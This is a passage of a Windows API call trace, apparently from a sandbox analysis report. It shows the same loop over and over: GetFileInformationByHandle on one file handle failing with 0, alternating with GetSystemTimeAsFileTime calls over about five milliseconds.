dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.037] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.038] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.039] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.040] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: 